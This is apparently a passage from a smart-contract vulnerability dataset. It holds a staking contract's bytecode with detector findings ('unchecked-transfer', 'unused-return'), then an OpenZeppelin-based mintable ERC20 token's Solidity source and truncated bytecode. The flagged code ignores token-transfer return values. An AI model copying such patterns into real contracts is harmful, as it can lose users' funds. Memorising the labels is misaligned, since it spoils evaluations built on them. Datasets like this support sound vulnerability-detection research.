ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea2646970667358221220a329d5ddc18fd33ebd49917ac248ec1d62c7bf602496998aec92b75742e9574764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,222 |
0x8d4d954d6057ba33c558a8fe56c7f753661e8b08
|
pragma solidity 0.4.19;
// File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts\ISAO.sol
contract ISAO is MintableToken {
mapping(address => bool) mintable;
function ISAO() public {
mint(msg.sender, 1000000000000000000000);
}
function addMintable(address _minter) onlyOwner public {
mintable[_minter] = true;
}
function mintByMintable(address _to, uint256 _amount) canMint public returns (bool) {
require(mintable[msg.sender]);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100e0578063095ea7b31461010d57806318160ddd1461016757806323b872dd1461019057806340c10f19146102095780634eb396cd1461026357806366188463146102bd57806370a08231146103175780637d64bcb4146103645780638da5cb5b14610391578063922587ff146103e6578063a9059cbb1461041f578063d73dd62314610479578063dd62ed3e146104d3578063f2fde38b1461053f575b600080fd5b34156100eb57600080fd5b6100f3610578565b604051808215151515815260200191505060405180910390f35b341561011857600080fd5b61014d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061058b565b604051808215151515815260200191505060405180910390f35b341561017257600080fd5b61017a61067d565b6040518082815260200191505060405180910390f35b341561019b57600080fd5b6101ef600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561021457600080fd5b610249600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a41565b604051808215151515815260200191505060405180910390f35b341561026e57600080fd5b6102a3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c27565b604051808215151515815260200191505060405180910390f35b34156102c857600080fd5b6102fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e09565b604051808215151515815260200191505060405180910390f35b341561032257600080fd5b61034e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061109a565b6040518082815260200191505060405180910390f35b341561036f57600080fd5b6103776110e2565b604051808215151515815260200191505060405180910390f35b341561039c57600080fd5b6103a46111aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f157600080fd5b61041d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111d0565b005b341561042a57600080fd5b61045f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611287565b604051808215151515815260200191505060405180910390f35b341561048457600080fd5b6104b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114a6565b604051808215151515815260200191505060405180910390f35b34156104de57600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116a2565b6040518082815260200191505060405180910390f35b341561054a57600080fd5b610576600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611729565b005b600360149054906101000a900460ff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106c457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561071157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079c57600080fd5b6107ed826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610880826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9f57600080fd5b600360149054906101000a900460ff16151515610abb57600080fd5b610ad08260015461189a90919063ffffffff16565b600181905550610b27826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16151515610c4557600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c9d57600080fd5b610cb28260015461189a90919063ffffffff16565b600181905550610d09826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f1a576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602